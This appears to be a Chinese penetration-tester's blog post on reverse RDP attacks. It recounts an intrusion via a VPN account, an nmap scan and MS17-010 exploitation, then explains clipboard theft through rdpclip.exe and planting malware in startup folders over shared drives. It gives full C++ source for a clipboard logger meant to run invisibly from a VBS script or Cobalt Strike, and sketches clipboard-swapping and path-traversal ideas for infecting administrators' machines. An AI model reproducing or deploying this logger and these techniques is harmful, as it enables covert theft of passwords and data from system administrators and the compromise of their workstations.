th-反向RDP攻击的尝试

最近在一次实战中遇到一个情况,利用得到的VPN账号进入目标内网,并且用nmap扫描服务器所在的网段(192.168.2.x),发现一台有ms17-010漏洞的win2003服务器,于是利用msf成功弹回meterpreter。问题在于再想进行横向的时候卡住了。由于所控制的服务器不在域内,所以关于域的横向就行不通。用相同的密码和可能的密码进行尝试,也没有成功登陆。
在卡住了好几天后,想到一个思路。由于该服务器偶尔会有管理员利用3389登陆上来,在其他尝试均无收获的情况下,可以试试看有没有可能进行反向RDP攻击。

rdp连接
常见到rdp程序有mstsc、rdesktop和、FreeRDP。rdesktop和FreeRDP在部分版本中存在远程命令执行漏洞,能起到极好的效果。但是因为我们针对的是一般的运维\域管人群,绝大多数情况下都是使用微软自带的mstsc来进行远程控制。
查阅相关资料可以知道目前针对mstsc已知的攻击类型有两种:1、利用共享粘贴板进行粘贴板窃取;2、利用共享磁盘功能,在rdp客户端上传恶意文件。

利用共享粘贴板进行剪贴板窃取

这个攻击十分很好理解,我们在使用mstsc进行远程桌面的时候,会启动一个叫rdpclip.exe的进程,该进程的功能是同步服务端与客户端的剪贴板。

rdpclip进程作用

这是一个十分有用的进程,如果将该进程杀掉,那我们想在服务端(远程机器)上将某些数据拷贝到客户端(本地机器)上时,就会发现剪贴板失效了。
我们完全可以利用该功能进行剪贴板窃取,以尽可能地获取更多地信息。
此外,由于由于该进程时后台运行的,当管理员同时用远程桌面登陆多个服务器,在其中得某一个服务器上进行复制拷贝操作时,会将数据同步到所有服务器的rdplicp.exe进程。

多个rdp连接

原理十分简单,但在某些情况下可以起到不小的作用。

利用共享磁盘功能,在rdp客户端中上传恶意文件。

该攻击方法的必要条件十分苛刻。默认情况下mstsc是不开启磁盘共享功能的。但是当某个管理员因为某些原因开启了这个功能后,就会带来风险。类似于前阵子的WINRAR漏洞一样,利用此功能我们可以将恶意程序\脚步写入用户的启动(startup)文件夹,当机器重启时,就会执行恶意程序\脚本。

打开共享磁盘

一开始的时候我以为只要进行了rdp连接就可以利用这种方式,但是测试后发现,该方式其实是利用SMB协议来进行文件的传输,当我们开启了磁盘共享后,可通过//tsclient进行主机发现。
github上有相关的利用脚本

rdp监听剪贴板的利用方式

在empire中有一个Get-ClipboardContents.ps1,可以用empire或者coablt strike加载该脚本。另外,自己也写了一个简单的监听的监听程序,用c++写的
源码如下,用dev c++编译后可以在xp~win10中使用,利用vbs脚本启动即可做到无界面、或者直接在cobalt strike中用execute执行。

//clipnuts.exe

#include <exception>
#include <iostream>
#include <ostream>
#include <stdexcept>
#include <string>
#include <windows.h>
#include <fstream>

using namespace std;

class RaiiClipboard
{
public:
RaiiClipboard()
{
    if (! OpenClipboard(NULL))
    throw runtime_error("Can't open clipboard.");
    // ... or define some custom exception class for clipboard errors.
}

~RaiiClipboard()
{
    CloseClipboard();
}

// Ban copy   
private:
RaiiClipboard(const RaiiClipboard&);
RaiiClipboard& operator=(const RaiiClipboard&);
};

class RaiiTextGlobalLock
{
public:
explicit RaiiTextGlobalLock(HANDLE hData)
    : m_hData(hData)
{
    m_psz = static_cast<const char*>(GlobalLock(m_hData));
    if (! m_psz)
    throw runtime_error("Can't acquire lock on clipboard text.");  
}

~RaiiTextGlobalLock()
{
    GlobalUnlock(m_hData);
}

const char* Get() const
{ 
    return m_psz;
}

private:
HANDLE m_hData;
const char* m_psz;

// Ban copy
RaiiTextGlobalLock(const RaiiTextGlobalLock&);
RaiiTextGlobalLock& operator=(const RaiiTextGlobalLock&);
};

string GetClipboardText()
{
RaiiClipboard clipboard;

HANDLE hData = GetClipboardData(CF_TEXT);
if (hData == NULL){
    return "";
    //throw runtime_error("Can't get clipboard text.");
            }


RaiiTextGlobalLock textGlobalLock(hData);
string text( textGlobalLock.Get() );

return text;
}

void SaveData(string data){
    ofstream out("info.txt",ios::app);
    if (out.is_open()) 
    {
            out << data+ "\n";
            out << "------------------------------\n";
            out.close();
    }
}

int main()
{
static const int kExitOk = 0;
static const int kExitError = 1;

string data1 = "";
string data2 = "";

try
{
    while (true) {
        data2 =  GetClipboardText();
        if(data1 != data2) {
            cout << data2 <<endl;
            SaveData(data2);
        }
        else{
            cout << "waiting for clip acting..." << endl;
            Sleep(300000); 
            }
        data1 = data2;
        Sleep(10000);
    }

    return kExitOk;
}
catch(const exception& e)
{
    cerr << "*** ERROR: " << e.what() << endl;
    return kExitError;
}
}

一些想法

在使用clipspy(https://www.softpedia.com/get/Office-tools/Clipboard/ClipSpy.shtml)进行调试的时候,发现当拷贝程序的时候,会有以下内容

clipspy数据

clipspy数据

那假设我们在监听到对方有拷贝操作的时候,将内容替换成我们指定的文件,便可以把文件拷到对方机器上。如果对方感到好奇点开恶意程序的时候,主机就会沦陷。
目前代码还没想好逻辑,如果在日后有可能的话,希望能实现该功能。(windows开发知识很烂233

参考:https://rastamouse.me/2018/06/rdpclip/


补充

后来在网上翻阅资料,发现有研究人员证实共享粘贴板可进行路径穿越,即我们可在fgd加入../(此处可借鉴winrar的poc,将恶意程序烤至目标启动文件夹(startup)当中)
当我们用mstsc登陆了一台服务器后,在该服务器上按下复制操作时,会产生一系列操作。这里我用脑图表示

脑图

原文给出了poc的视频,但是目前我还没有能力复现…
真是惭愧啊,一定要不断提升自己才行!。

参考:https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/